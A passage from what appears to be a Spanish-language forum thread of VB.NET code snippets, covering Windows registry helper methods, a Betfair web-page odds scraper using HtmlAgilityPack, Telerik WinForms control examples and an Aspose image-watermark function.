SetValue(Value, Encoding.ASCII.GetBytes(Data), RegistryValueKind.Binary)
Case Else
Reg.OpenSubKey(GetPath(Key), writable:=True).
SetValue(Value, Data, DataType)
End Select
End Using
End Sub
#End Region
#Region " Exist "
''' <summary>
''' Determines whether a Key exists.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <returns><c>true</c> if key exist, <c>false</c> otherwise.</returns>
Public Shared Function ExistKey(ByVal Key As String) As Boolean
Dim RootKey As RegistryKey = GetRoot(Key)
Dim KeyPath As String = GetPath(Key)
If (RootKey Is Nothing) OrElse (String.IsNullOrEmpty(KeyPath)) Then
Return False
End If
Using Reg As RegistryKey = RootKey
Return RootKey.OpenSubKey(KeyPath, writable:=False) IsNot Nothing
End Using
End Function
''' <summary>
''' Determines whether a value exists.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <param name="Value">Indicates the registry value.</param>
''' <returns><c>true</c> if value exist, <c>false</c> otherwise.</returns>
Public Shared Function ExistValue(ByVal Key As String, ByVal Value As String) As Boolean
Dim RootKey As RegistryKey = GetRoot(Key)
Dim KeyPath As String = GetPath(Key)
If (RootKey Is Nothing) OrElse (String.IsNullOrEmpty(KeyPath)) Then
Return False
End If
Using Reg As RegistryKey = RootKey
Return RootKey.OpenSubKey(KeyPath, writable:=False).
GetValue(Value, defaultValue:=Nothing) IsNot Nothing
End Using
End Function
''' <summary>
''' Determines whether data exists in a registry value.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <param name="Value">Indicates the registry value.</param>
''' <returns><c>true</c> if data exist, <c>false</c> otherwise.</returns>
Public Shared Function ExistData(ByVal Key As String, ByVal Value As String) As Boolean
Dim RootKey As RegistryKey = GetRoot(Key)
Dim KeyPath As String = GetPath(Key)
If (RootKey Is Nothing) OrElse (String.IsNullOrEmpty(KeyPath)) Then
Return False
End If
Using Reg As RegistryKey = RootKey
Return Not String.IsNullOrEmpty(RootKey.OpenSubKey(KeyPath, writable:=False).
GetValue(Value, defaultValue:=Nothing))
End Using
End Function
#End Region
#Region " Copy "
''' <summary>
''' Copy a key tree to another location on the registry.
''' </summary>
''' <param name="OldKey">Indicates the registry key to be copied from.</param>
''' <param name="NewKey">Indicates the registry key to be pasted from.</param>
Public Shared Sub CopyKey(ByVal OldKey As String,
ByVal NewKey As String)
Using OldReg As RegistryKey = GetRoot(OldKey).OpenSubKey(GetPath(OldKey), writable:=False)
CreateKey(NewKey)
Using NewReg As RegistryKey = GetRoot(NewKey).OpenSubKey(GetPath(NewKey), writable:=True)
CopySubKeys(OldReg, NewReg)
End Using ' NewReg
End Using ' OldReg
End Sub
''' <summary>
''' Copies a value with their data to another location on the registry.
''' If the Key don't exist it will be created automatically.
''' </summary>
''' <param name="OldKey">Indicates the registry key to be copied from.</param>
''' <param name="OldValue">Indicates the registry value to be copied from.</param>
''' <param name="NewKey">Indicates the registry key to be pasted from.</param>
''' <param name="NewValue">Indicates the registry value to be pasted from.</param>
Public Shared Sub CopyValue(ByVal OldKey As String,
ByVal OldValue As String,
ByVal NewKey As String,
ByVal NewValue As String)
CreateKey(Key:=NewKey)
SetValue(Key:=NewKey, Value:=NewValue, Data:=GetValue(OldKey, OldValue), DataType:=RegistryValueKind.Unknown)
End Sub
#End Region
#Region " Process dependant methods "
''' <summary>
''' Opens Regedit process and jumps at the specified key.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
Public Shared Sub JumpToKey(ByVal Key As String)
Using Reg As RegistryKey = GetRoot(Key)
SetValue(Key:="HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit",
Value:="LastKey",
Data:=String.Format("{0}\{1}", Reg.Name, GetPath(Key)),
DataType:=RegistryValueKind.String)
End Using
Process.Start(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Regedit.exe"))
End Sub
''' <summary>
''' Imports a registry file.
''' </summary>
''' <param name="RegFile">The registry file to import.</param>
''' <returns><c>true</c> if operation succeeds, <c>false</c> otherwise.</returns>
Public Shared Function ImportRegFile(ByVal RegFile As String) As Boolean
Using proc As New Process With {
.StartInfo = New ProcessStartInfo() With {
.FileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Reg.exe"),
.Arguments = String.Format("Import ""{0}""", RegFile),
.CreateNoWindow = True,
.WindowStyle = ProcessWindowStyle.Hidden,
.UseShellExecute = False
}
}
proc.Start()
proc.WaitForExit()
Return Not CBool(proc.ExitCode)
End Using
End Function
''' <summary>
''' Exports a key to a registry file.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <param name="OutputFile">Indicates the output file.</param>
''' <returns><c>true</c> if operation succeeds, <c>false</c> otherwise.</returns>
Public Shared Function ExportKey(ByVal Key As String, ByVal OutputFile As String) As Boolean
Using Reg As RegistryKey = GetRoot(Key)
Using proc As New Process With {
.StartInfo = New ProcessStartInfo() With {
.FileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Reg.exe"),
.Arguments = String.Format("Export ""{0}\{1}"" ""{2}"" /y", Reg.Name, GetPath(Key), OutputFile),
.CreateNoWindow = True,
.WindowStyle = ProcessWindowStyle.Hidden,
.UseShellExecute = False
}
}
proc.Start()
proc.WaitForExit()
Return Not CBool(proc.ExitCode)
End Using
End Using
End Function
''' <summary>
''' Modifies the user permissions of a registry key.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <param name="UserAccess">Indicates the user-access.</param>
''' <returns><c>true</c> if operation succeeds, <c>false</c> otherwise.</returns>
Public Shared Function SetUserAccessKey(ByVal Key As String, ByVal UserAccess() As ReginiUserAccess) As Boolean
Dim tmpFile As String = Path.Combine(Path.GetTempPath(), "Regini.ini")
Dim PermissionString As String =
String.Format("[{0}]",
String.Join(" "c, UserAccess.Cast(Of Integer)))
Using TextFile As New StreamWriter(path:=tmpFile, append:=False, encoding:=Encoding.Default)
Using Reg As RegistryKey = GetRoot(Key)
TextFile.WriteLine(String.Format("""{0}\{1}"" {2}", Reg.Name, GetPath(Key), PermissionString))
End Using ' Reg
End Using ' TextFile
Using proc As New Process With {
.StartInfo = New ProcessStartInfo() With {
.FileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "Regini.exe"),
.Arguments = ControlChars.Quote & tmpFile & ControlChars.Quote,
.CreateNoWindow = True,
.WindowStyle = ProcessWindowStyle.Hidden,
.UseShellExecute = False
}
}
proc.Start()
proc.WaitForExit()
Return Not CBool(proc.ExitCode)
End Using
End Function
#End Region
#End Region
#Region " Private Methods "
#Region " Get "
''' <summary>
''' Gets the registry root of a key.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <returns>The registry root.</returns>
Private Shared Function GetRoot(ByVal Key As String) As RegistryKey
Select Case Key.ToUpper.Split("\").First
Case "HKCR", "HKEY_CLASSES_ROOT"
Return Registry.ClassesRoot
Case "HKCC", "HKEY_CURRENT_CONFIG"
Return Registry.CurrentConfig
Case "HKCU", "HKEY_CURRENT_USER"
Return Registry.CurrentUser
Case "HKLM", "HKEY_LOCAL_MACHINE"
Return Registry.LocalMachine
Case "HKEY_PERFORMANCE_DATA"
Return Registry.PerformanceData
Case Else
Return Nothing
End Select
End Function
''' <summary>
''' Returns the registry path of a key.
''' </summary>
''' <param name="Key">Indicates the registry key.</param>
''' <returns>The registry path.</returns>
Private Shared Function GetPath(ByVal Key As String) As String
If String.IsNullOrEmpty(Key) Then
Return String.Empty
End If
Dim KeyPath As String = Key.Substring(Key.IndexOf("\"c) + 1I)
If KeyPath.EndsWith("\"c) Then
KeyPath = KeyPath.Substring(0I, KeyPath.LastIndexOf("\"c))
End If
Return KeyPath
End Function
#End Region
#Region " Copy "
''' <summary>
''' Copies the sub-keys of the specified registry key.
''' </summary>
''' <param name="OldKey">Indicates the old key.</param>
''' <param name="NewKey">Indicates the new key.</param>
Private Shared Sub CopySubKeys(ByVal OldKey As RegistryKey, ByVal NewKey As RegistryKey)
' Copy Values
For Each Value As String In OldKey.GetValueNames()
NewKey.SetValue(Value, OldKey.GetValue(Value))
Next Value
' Copy Subkeys
For Each SubKey As String In OldKey.GetSubKeyNames()
CreateKey(String.Format("{0}\{1}", NewKey.Name, SubKey))
CopySubKeys(OldKey.OpenSubKey(SubKey, writable:=False), NewKey.OpenSubKey(SubKey, writable:=True))
Next SubKey
End Sub
#End Region
#End Region
End Class
#End Region
BetfairUtil
Con esta class pueden analizar los próximos eventos de un mercado de futbol de la página Betfair, para meterlos por ejemplo como DataSource de un GridView:
(http://i.imgur.com/0mUaIem.png)
Nota: es necesaria la librería HtmlAgilityPack.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 09-01-2014
' ***********************************************************************
' <copyright file="BetfairUtil.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Imports "
Imports HtmlAgilityPack
Imports System.Web
#End Region
''' <summary>
''' Contains web related methods for Betfair.
''' </summary>
Public Class BetfairUtil
#Region " XPath Expressions "
''' <summary>
''' XPath to locate the coming-up events grid.
''' </summary>
Private Shared ReadOnly XPathComingUpGrid As String = "//*/ul[1][@class='event-list']/li[@class='avb-row COMING_UP']/*"
''' <summary>
''' XPath to locate the home team name.
''' </summary>
Private Shared ReadOnly XPathHomeTeam As String = ".//span[@class='home-team-name']"
''' <summary>
''' XPath to locate the away team name.
''' </summary>
Private Shared ReadOnly XPathAwayTeam As String = ".//span[@class='away-team-name']"
''' <summary>
''' XPath to locate the day which the teams will play.
''' </summary>
Private Shared ReadOnly XPathPlayDay As String = ".//span[@class='date']"
''' <summary>
''' XPath to locate the hour at which the teams will play.
''' </summary>
Private Shared ReadOnly XPathPlayHour As String = XPathPlayDay
''' <summary>
''' XPath to locate the odds value 1.
''' </summary>
Private Shared ReadOnly XPathOddResult1 As String = ".//*/li[@class='selection sel-0']/*/span['ui-runner-price*']"
''' <summary>
''' XPath to locate the odds value 2.
''' </summary>
Private Shared ReadOnly XPathOddResult2 As String = ".//*/li[@class='selection sel-1']/*/span['ui-runner-price*']"
''' <summary>
''' XPath to locate the odds value 3.
''' </summary>
Private Shared ReadOnly XPathOddResult3 As String = ".//*/li[@class='selection sel-2']/*/span['ui-runner-price*']"
#End Region
#Region " Types "
''' <summary>
''' Specifies an event info.
''' </summary>
Public Class BetfairEventInfo
''' <summary>
''' Gets or sets the home team name.
''' </summary>
''' <value>The home team name.</value>
Public Property HomeTeam As String
''' <summary>
''' Gets or sets the away team name.
''' </summary>
''' <value>The away team name.</value>
Public Property AwayTeam As String
''' <summary>
''' Gets or sets the day which the teams will play.
''' </summary>
''' <value>The day which the teams will play.</value>
Public Property PlayDay As String
''' <summary>
''' Gets or sets the hour at which the teams will play.
''' </summary>
''' <value>The hour at which the teams will play.</value>
Public Property PlayHour As String
''' <summary>
''' Gets or sets the odds value for result '1'.
''' (which depending on the Betfair section could be the value for column-names: "1", "Yes" or "More than...")
''' </summary>
''' <value>The odds value for result '1'.</value>
Public Property Result1 As Double
''' <summary>
''' Gets or sets the odds value for result '2'.
''' (which depending on the Betfair section could be the value for column-names: "X", "No" or "Less than...")
''' </summary>
''' <value>The odds value for result '2'.</value>
Public Property Result2 As Double
''' <summary>
''' (which depending on the Betfair section could be the value for column-names: "2")
''' </summary>
''' <value>The odds value for result 'X'.</value>
Public Property ResultX As Double
End Class
#End Region
#Region " Public Methods "
''' <summary>
''' Gets the coming-up events from a Betfair page.
''' </summary>
''' <param name="HtmlSource">The Betfair webpage raw Html source-code to parse the events.</param>
''' <returns>List(Of EventInfo).</returns>
''' <exception cref="System.Exception">Node not found in the html source-code, maybe there is any coming-up event?</exception>
Public Shared Function GetComingUpEvents(ByVal HtmlSource As String) As List(Of BetfairEventInfo)
' The event collection to add events.
Dim EventInfoList As New List(Of BetfairEventInfo)
' The current event info.
Dim EventInfo As BetfairEventInfo
' Initialize the HtmlDoc object.
Dim Doc As New HtmlDocument
' Load the Html document.
Doc.LoadHtml(HtmlSource)
' A temporal node to determine whether the node exist.
Dim tempNode As HtmlNode
' The HtmlDocument nodes to analyze.
Dim Nodes As HtmlNodeCollection
' Select the Teams nodes.
Nodes = Doc.DocumentNode.SelectNodes(XPathComingUpGrid)
If Nodes Is Nothing Then ' Node not found in the html source-code.
Throw New Exception("Node not found in the html source-code, maybe there is any coming-up event?")
Return Nothing
End If
' Loop trough the nodes.
For Each Node As HtmlNode In Nodes
EventInfo = New BetfairEventInfo
' Retrieve and set the home team name.
EventInfo.HomeTeam = HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathHomeTeam).InnerText.
Replace("(W)", String.Empty).
Replace("(HT)", String.Empty).
Replace("(QAT)", String.Empty).
Replace("(Uru)", String.Empty).
Replace("(Ecu)", String.Empty).
Replace("(Bol)", String.Empty).
Trim)
' Retrieve and set the away team name.
EventInfo.AwayTeam = HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathAwayTeam).InnerText.
Replace("(W)", String.Empty).
Replace("(HT)", String.Empty).
Replace("(QAT)", String.Empty).
Replace("(Uru)", String.Empty).
Replace("(Ecu)", String.Empty).
Replace("(Bol)", String.Empty).
Trim)
' Retrieve and set the day which the teams will play.
tempNode = Node.SelectSingleNode(XPathPlayDay)
If tempNode IsNot Nothing Then
EventInfo.PlayDay = HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathPlayDay).
InnerText.
Trim)
' This value can contains different words or one word;
' Such as: "Mañana 14:00" or "14:00" or "03 Sep 14".
' If the value is only the hour, the day is today.
If EventInfo.PlayDay Like "##:##" Then
EventInfo.PlayDay = "Hoy"
ElseIf EventInfo.PlayDay Like "Mañana*" Then
EventInfo.PlayDay = EventInfo.PlayDay.Split(" "c).First
End If
If Not EventInfo.PlayDay Like "## *" Then
' Retrieve and set the hour at which the teams will play.
EventInfo.PlayHour = HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathPlayHour).
InnerText.
Trim.
Split(" "c).Last)
Else
EventInfo.PlayHour = "N/A" ' Unknown, the hour is not displayed.
End If
Else
EventInfo.PlayDay = "Error"
EventInfo.PlayHour = "Error"
End If
' Retrieve and set the odds for result '1'.
tempNode = Node.SelectSingleNode(XPathOddResult1) ' Test whether the node exists.
If tempNode IsNot Nothing Then
If String.IsNullOrEmpty(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult1).InnerText).Trim) _
OrElse String.IsNullOrWhiteSpace(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult1).InnerText).Trim) _
OrElse HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult1).InnerText).Trim.Equals("NC", StringComparison.OrdinalIgnoreCase) Then
EventInfo.Result1 = 0
Else
EventInfo.Result1 = Node.SelectSingleNode(XPathOddResult1).InnerText.Trim().Replace(".", ",")
End If
Else
EventInfo.Result1 = 0
End If
' Retrieve and set the odds for result '2'.
tempNode = Node.SelectSingleNode(XPathOddResult2) ' Test whether the node exists.
If tempNode IsNot Nothing Then
If String.IsNullOrEmpty(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult2).InnerText).Trim) _
OrElse String.IsNullOrWhiteSpace(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult2).InnerText).Trim) _
OrElse HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult2).InnerText).Trim.Equals("NC", StringComparison.OrdinalIgnoreCase) Then
EventInfo.Result2 = 0
Else
EventInfo.Result2 = Node.SelectSingleNode(XPathOddResult2).InnerText.Trim().Replace(".", ",")
End If
Else
EventInfo.Result2 = 0
End If
' Retrieve and set the odds for result 'X'.
tempNode = Node.SelectSingleNode(XPathOddResult3) ' Test whether the node exists.
If tempNode IsNot Nothing Then
If String.IsNullOrEmpty(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult3).InnerText).Trim) _
OrElse String.IsNullOrWhiteSpace(HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult3).InnerText).Trim) _
OrElse HttpUtility.HtmlDecode(Node.SelectSingleNode(XPathOddResult3).InnerText).Trim.Equals("NC", StringComparison.OrdinalIgnoreCase) Then
EventInfo.ResultX = 0
Else
EventInfo.ResultX = Node.SelectSingleNode(XPathOddResult3).InnerText.Trim().Replace(".", ",")
End If
Else
EventInfo.ResultX = 0
End If
' Add the event-into into the event collection.
EventInfoList.Add(EventInfo)
Next Node
Return EventInfoList
End Function
#End Region
End Class
Ejemplo de uso:
''' <summary>
''' Contains the Betfair coming-up events-info.
''' </summary>
Private ComingUpEvents As List(Of BetfairEventInfo)
' Parse the Betfair page source-code to get the events.
Me.ComingUpEvents = BetfairUtil.GetComingUpEvents(Me.HtmlSource)
Comparto algunos Snippets relacionados con los controles de Telerik: http://www.telerik.com/products/winforms.aspx
[Telerik] [RadDropDownList] Select next item on MouseWheel.
Ejemplo de como seleccionar el item anterior o siguiente usando la rueda del mouse.
Public Class RadDropDownList_TestForm
''' <summary>
''' Handles the MouseDown event of the RadDropDownList1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub RadDropDownList1_MouseWheel(Byval sender As Object, Byval e As MouseEventArgs) _
Handles RadDropDownList1.MouseWheel
Select Case e.Delta
Case Is > 0 ' MouseWhell scroll up.
If sender.SelectedIndex > 0I Then
sender.SelectedIndex -= 1I
End If
Case Else ' MouseWhell scroll down.
If sender.SelectedIndex < sender.Items.Count Then
sender.SelectedIndex += 1I
End If
End Select
End Sub
End Class
[Telerik] [RadDropDownList] Align text after selecting an item.
Ejemplo de como alinear el texto después de seleccionar un item.
''' <summary>
''' Handles the SelectedIndexChanged event of the RadDropDownList1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="Data.PositionChangedEventArgs"/> instance containing the event data.</param>
Private Sub RadDropDownList1_SelectedIndexChanged(ByVal sender As Object, ByVal e As Data.PositionChangedEventArgs) _
Handles RadDropDownList1.SelectedIndexChanged
' Center the selected item text.
sender.DropDownListElement.EditableElement.TextAlignment = ContentAlignment.MiddleCenter
End Sub
[Telerik] [RadMessageBox] Example.
Ejemplo de como usar un RadMessageBox
Imports Telerik.WinControls
Public Class RadMessageBox_TestForm
Private Sub RadMessageBox_TestForm_Load() Handles MyBase.Load
RadMessageBox.SetThemeName("VisualStudio2012Dark")
' RadMessageBox.SetThemeName(Me.ThemeName) ' Use this for RadForm or other Rad control.
RadMessageBox.Instance.Cursor = Cursors.Arrow
RadMessageBox.Instance.EnableBeep = True
RadMessageBox.Instance.ShowInTaskbar = False
RadMessageBox.Instance.ShowIcon = True
RadMessageBox.Instance.Icon = SystemIcons.Application
RadMessageBox.Instance.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedDialog
RadMessageBox.Show("Hello World !", Me.Name, MessageBoxButtons.OK, RadMessageIcon.Info)
End Sub
End Class
[Telerik] [RadGridView] Example.
Ejemplo de como usar un RadGridView.
Imports Telerik.WinControls.UI
Public Class RadGridView_TestForm
''' <summary>
''' The row collection of the RadGridView.
''' </summary>
Private Rows As New List(Of GridViewDataRowInfo)
Private Sub RadGridView_TestForm_Load() Handles MyBase.Load
' Set the RadGridView language localization.
' RadGridLocalizationProvider.CurrentProvider = New MyRadGridViewLocalizationProvider_Spanish
' Create some columns.
With RadGridView1
.Columns.Add("MyColumnString", "Strings")
.Columns.Add("MyColumnHour", "Hours")
.Columns.Add("MyColumnInteger", "Integers")
.Columns.Add("MyColumnDouble", "Doubles")
End With
' Set the RadGridView properties.
With RadGridView1
.ThemeName = "VisualStudio2012Dark" ' The visual theme.
.EnableAlternatingRowColor = True ' Enable color alternating between rows.
.TableElement.AlternatingRowColor = Color.FromArgb(52, 52, 56) ' The alternate color, a dark-gray.
.AutoGenerateColumns = False ' Deny the control to auto-generate columns when setting a DataSource.
.ReadOnly = True ' Disable Adding, Removing, and Editing on the control.
' Set the column datatypes.
.Columns("MyColumnString").DataType = GetType(String)
.Columns("MyColumnHour").DataType = GetType(String)
.Columns("MyColumnInteger").DataType = GetType(Integer)
.Columns("MyColumnDouble").DataType = GetType(Double)
End With
' Create a row.
Dim Row As New GridViewDataRowInfo(Me.RadGridView1.MasterView)
With Row
.Cells(0).Value = "Hello!"
.Cells(1).Value = "22:00"
.Cells(2).Value = 10
.Cells(3).Value = 5.5
End With
Me.Rows.Add(Row)
' add the row in the grid.
Me.RadGridView1.Rows.AddRange(Rows.ToArray)
End Sub
End Class
[Telerik] [RadGridView] Export as CSV.
Ejemplo de como exportar un RadGridView a CSV.
Dim Exporter As New ExportToCSV(Me.RadGridView1)
With Exporter
.HiddenColumnOption = HiddenOption.DoNotExport ' Don't export hidden columns.
.HiddenRowOption = HiddenOption.DoNotExport ' Don't export hidden rows.
.SummariesExportOption = SummariesOption.DoNotExport
.ColumnDelimiter = " | "
.RowDelimiter = "; "
.
End With
Exporter.RunExport("C:\Exported Data.xls")
[Telerik] [RadGridView] Export as HTML.
Ejemplo de como exportar un RadGridView a HTML.
' Export the data contained in the RadGridView DataSource.
Dim Exporter As New ExportToHTML(Me.RadGridView1)
With Exporter
.HiddenColumnOption = HiddenOption.DoNotExport ' Don't export hidden columns.
.HiddenRowOption = HiddenOption.DoNotExport ' Don't export hidden rows.
.SummariesExportOption = SummariesOption.DoNotExport
.AutoSizeColumns = False
.ExportVisualSettings = True
.FileExtension = "htm"
.TableBorderThickness = 2
.TableCaption = "My Exported Table"
End With
Exporter.RunExport("C:\Exported Data.htm")
[Telerik] [RadGridView] Export as XLS.
Ejemplo de como exportar el DataSource de un RadGridView a Excel (xls).
Imports Telerik.WinControls.UI
Imports Telerik.WinControls.UI.Export
Imports Telerik.WinControls.UI.Localization
Public Class RadGridView_TestForm
Private Sub RadGridView_TestForm_Load() Handles MyBase.Load
' Set the RadGridView language localization.
' RadGridLocalizationProvider.CurrentProvider = New MyRadGridViewLocalizationProvider_Spanish
' Set the RadGridView properties.
With RadGridView1
.ThemeName = "VisualStudio2012Dark" ' The visual theme.
.EnableAlternatingRowColor = True ' Enable color alternating between rows.
.TableElement.AlternatingRowColor = Color.FromArgb(52, 52, 56) ' The alternate color, a dark-gray.
.AutoGenerateColumns = False ' Deny the control to auto-generate columns when setting a DataSource.
.ReadOnly = True ' Disable Adding, Removing, and Editing on the control.
' Set the column datatypes.
.Columns("MyColumnString").DataType = GetType(String)
.Columns("MyColumnHour").DataType = GetType(String)
.Columns("MyColumnInteger").DataType = GetType(Integer)
.Columns("MyColumnDouble").DataType = GetType(Double)
' Set the excel export datatypes.
.Columns("MyColumnString").ExcelExportType = DisplayFormatType.Text
.Columns("MyColumnHour").ExcelExportType = DisplayFormatType.Custom
.Columns("MyColumnHour").ExcelExportFormatString = "h:mm"
.Columns("MyColumnInteger").ExcelExportType = DisplayFormatType.Custom
.Columns("MyColumnInteger").ExcelExportFormatString = "0"
.Columns("MyColumnDouble").ExcelExportType = DisplayFormatType.Custom
.Columns("MyColumnDouble").ExcelExportFormatString = "0.00"
End With
' Export the data contained in the RadGridView DataSource.
Dim Exporter As New ExportToExcelML(Me.RadGridView1)
With Exporter
.HiddenColumnOption = HiddenOption.DoNotExport ' Don't export hidden columns.
.HiddenRowOption = HiddenOption.DoNotExport ' Don't export hidden rows.
.ExportVisualSettings = True ' Export the RadGridView current theme.
.SheetMaxRows = ExcelMaxRows._65536
.SheetName = "Betfair Market Analyzer"
.SummariesExportOption = SummariesOption.DoNotExport
End With
Exporter.RunExport("C:\Exported Data.xls")
End Sub
End Class
[Telerik] [RadSplitButton] Set a Default Item.
Ejemplo de como asignar un item por defecto.
Imports Telerik.WinControls.UI
Public Class RadSplitButton_TestForm
Dim WithEvents MenuItem1 As New RadMenuItem With {.Text = "Item 1"}
Dim WithEvents MenuItem2 As New RadMenuItem With {.Text = "Item 2"}
Dim WithEvents MenuItem3 As New RadMenuItem With {.Text = "Item 3"}
Private Sub RadSplitButton_TestForm_Load() Handles MyBase.Load
RadSplitButton1.Items.AddRange({MenuItem1, MenuItem2, MenuItem3})
RadSplitButton1.DefaultItem = MenuItem2
End Sub
Private Sub MenuItem2_Click() Handles MenuItem2.Click
MsgBox("I'm the default item!")
End Sub
End Class
[Telerik] [RadSplitButton] Distinguish an Arrow click without a Default Item set.
Ejemplo de como distinguir cuando se hace un click sobre el control o sobre la flecha del control.
Public Class RadSplitButton_TestForm
''' <summary>
''' Flag that determines whether the RadSplitButton menu-opening should be canceled.
''' </summary>
Private CancelOpening As Boolean = False
Private Sub RadSplitButton1_DropDownOpening(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) _
Handles RadSplitButton1.DropDownOpening
e.Cancel = Me.CancelOpening
End Sub
Private Sub RadSplitButton1_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles RadSplitButton1.MouseMove
Me.CancelOpening = Not sender.DropDownButtonElement.ArrowButton.IsMouseOverElement
End Sub
Private Sub RadSplitButton1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles RadSplitButton1.Click
If e.Button = Windows.Forms.MouseButtons.Left AndAlso Me.CancelOpening Then
MsgBox("clicked out the arrow!")
ElseIf Not Me.CancelOpening Then
MsgBox("clicked over the arrow!")
End If
End Sub
End Class
[Telerik] [RadDropDownButton] Distinguish an Arrow click without a Default Item set.
Ejemplo de como distinguir cuando se hace un click sobre el control o sobre la flecha del control.
Public Class RadDropDownButton_TestForm
''' <summary>
''' Flag that determines whether the RadSplitButton menu-opening should be canceled.
''' </summary>
Private CancelOpening As Boolean = False
Private Sub RadDropDownButton1_DropDownOpening(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) _
Handles RadDropDownButton1.DropDownOpening
e.Cancel = Me.CancelOpening
End Sub
Private Sub RadDropDownButton1_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles RadDropDownButton1.MouseMove
Me.CancelOpening = Not sender.DropDownButtonElement.ArrowButton.IsMouseOverElement
End Sub
Private Sub RadDropDownButton1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles RadDropDownButton1.Click
If e.Button = Windows.Forms.MouseButtons.Left AndAlso Me.CancelOpening Then
MsgBox("clicked out the arrow!")
ElseIf Not Me.CancelOpening Then
MsgBox("clicked over the arrow!")
End If
End Sub
End Class
Como añadir una marca de agua en una imagen usando la librería Aspose Imaging ( http://www.aspose.com/.net/imaging-component.aspx ).
' Add Watermark
' By Elektro
''' <summary>
''' Adds a watermark into an image, at the specified position.
''' </summary>
''' <param name="img">Indicates the image.</param>
''' <param name="text">Indicates the watermark text.</param>
''' <param name="fnt">Indicates the watermark text font.</param>
''' <param name="color">Indicates the watermark text color.</param>
''' <param name="position">Indicates the watermark text position.</param>
''' <returns>Aspose.Imaging.Image.</returns>
Private Function AddWatermark(ByVal img As Aspose.Imaging.Image,
ByVal text As String,
ByVal fnt As Aspose.Imaging.Font,
ByVal color As Aspose.Imaging.Color,
ByVal position As Aspose.Imaging.PointF) As Aspose.Imaging.Image
Using brush As New Aspose.Imaging.Brushes.SolidBrush With {.Color = color, .Opacity = 100.0F}
' Create and initialize an instance of Graphics class.
Dim g As New Aspose.Imaging.Graphics(img)
' Draw a String using the SolidBrush object and Font, at specific Point and with specific format.
g.DrawString(s:=text, font:=fnt, brush:=brush, point:=position)
End Using
' Return the modified image.
Return img
End Function
''' <summary>
''' Adds a watermark into an image, at a prefedined position.
''' </summary>
''' <param name="img">Indicates the image.</param>
''' <param name="text">Indicates the watermark text.</param>
''' <param name="fnt">Indicates the watermark text font.</param>
''' <param name="color">Indicates the watermark text color.</param>
''' <param name="position">Indicates the watermark text position.</param>
''' <param name="verticalmargin">Indicates the watermark text vertical margin.</param>
''' <param name="horizontalmargin">Indicates the watermark text horizontal margin.</param>
''' <returns>Aspose.Imaging.Image.</returns>
Private Function AddWatermark(ByVal img As Aspose.Imaging.Image,
ByVal text As String,
ByVal fnt As Aspose.Imaging.Font,
ByVal color As Aspose.Imaging.Color,
ByVal position As WatermarkPosition,
Optional ByVal verticalmargin As Single = 0.0F,
Optional ByVal horizontalmargin As Single = 0.0F) As Aspose.Imaging.Image
Dim textformat As New Aspose.Imaging.StringFormat
Dim textposition As Aspose.Imaging.PointF = Aspose.Imaging.PointF.Empty
textformat.FormatFlags = Aspose.Imaging.StringFormatFlags.MeasureTrailingSpaces
Select Case position
Case WatermarkPosition.Top ' Note: horizontalmargin value is ignored.
textposition = New Aspose.Imaging.PointF(x:=(img.Width \ 2), y:=verticalmargin)
textformat.Alignment = Aspose.Imaging.StringAlignment.Center
Case WatermarkPosition.TopLeft
textposition = New Aspose.Imaging.PointF(x:=horizontalmargin, y:=verticalmargin)
textformat.Alignment = Aspose.Imaging.StringAlignment.Near
Case WatermarkPosition.TopRight
Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
textposition = New Aspose.Imaging.PointF(x:=(img.Width - measure.Width - horizontalmargin), y:=verticalmargin)
textformat.Alignment = Aspose.Imaging.StringAlignment.Near
Case WatermarkPosition.Middle ' Note: verticalmargin horizontalmargin and values are ignored.
textposition = New Aspose.Imaging.PointF(x:=(img.Width \ 2), y:=(img.Height \ 2))
textformat.Alignment = Aspose.Imaging.StringAlignment.Center
Case WatermarkPosition.MiddleLeft ' Note: verticalmargin value is ignored.
textposition = New Aspose.Imaging.PointF(x:=(horizontalmargin), y:=(img.Height \ 2))
textformat.Alignment = Aspose.Imaging.StringAlignment.Near
Case WatermarkPosition.MiddleRight ' Note: verticalmargin value is ignored.
Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
